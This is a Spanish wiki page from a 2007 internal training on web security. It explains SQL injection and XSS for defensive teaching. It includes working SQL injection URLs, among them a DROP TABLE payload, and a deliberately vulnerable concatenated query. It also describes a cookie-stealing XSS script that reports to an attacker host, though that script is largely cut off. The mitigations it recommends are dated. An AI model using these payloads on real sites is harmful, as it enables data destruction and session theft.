=====Capacitación sobre seguridad de aplicaciones web===== Fecha: 20 de Octubre 2007 Por: Javier Resumen: Sobre sql injection y ataques XSS Tipo de capacitación: técnica pública ====SQL Injection==== **Problema:** Es la injection de código sql debido a que al guardar información en la base de datos no limpiamos los datos enviados por el usuario. %%http://example.org/datos.pgp?user_id=7 $query = "SELECT * FROM users WHERE id = '" . $user_id . "';" http://example.org/datos.pgp?user_id=7' or '1'='1 http://example.org/datos.pgp?user_id=7'; DROP TABLE users; SELECT * FROM users WHERE '1'='1%% **Soluciones:** Limpiar toda variable antes de guardarla. Todas estas soluciones se pueden combinar, en muchos casos se deben combinar: sql_escape: %%(php)$user_id = mysql_escape_string($user_id); //pgsql_escape_string en postgresql $query = "SELECT * FROM users WHERE id = '" . $user_id . "';"%% Por qué no usar quotes magic o similares? La biblioteca de la misma base de datos es la manera más directa, más segura, quotes magic (OCSE) trata de dar una solución general a todas las bases de datos, en mi experiencia, es mejor usar funciones nativas, funciones especializadas. casting: %%(php)$user_id = (int)$user_id;%% %%(php)settype($user_id, 'int');%% expresiones regulares: %%(php)$user_id = preg_replace("/[^A-Za-z0-9_.-]/", "", $user_id);%% Aqui solo aceptamos letras, numeros y _.- almidon: %%(php)$user_id = $data->request['user_id']; // solo funciona en caso se user_id esta definido como dato.%% %%(php)$user_id = Table::parse_var($user_id); %% **Notas:** Injection también puede ocurrir a un archivo (RFI remote file injection), o a un comando que luego ejecutemos: shell injection. Blind Sql Injection: Normalmente injection es facilitada por los mensajes de error, con blind sql injection solo se tiene la opcion de éxito o fracaso, accediendo al catálogo se va construyendo el ataque. ====XSS atacks==== Es el opuesto, de cierto modo, es el injectar código malicioso a los datos para luego actuar al ser mostrados en pantalla. Generalmente usado para “phishing”. Ataque, injectar en mi blog, o artículo. Un ejemplo que registraria en la bitacora maquina del atacante (example.com), los cookies de todo visitante del sitio donde se colocó el injection. %% '); %% Este ejemplo registraria en la bitacora maquina del atacante (example.com), los cookies Solución: Limpiar toda variable que se tome (de la base de datos) a la pantalla. %%(php)$datos = htmlentities($datos) # ó $datos = htmlspecialchars($datos)%% {{files}} Enlace: http://en.wikipedia.org/wiki/Code_injection --- CategorySysAdmin